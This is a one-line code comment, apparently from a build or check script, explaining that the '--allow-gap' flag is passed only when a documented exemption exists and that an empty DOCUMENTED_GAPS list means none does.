   # Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no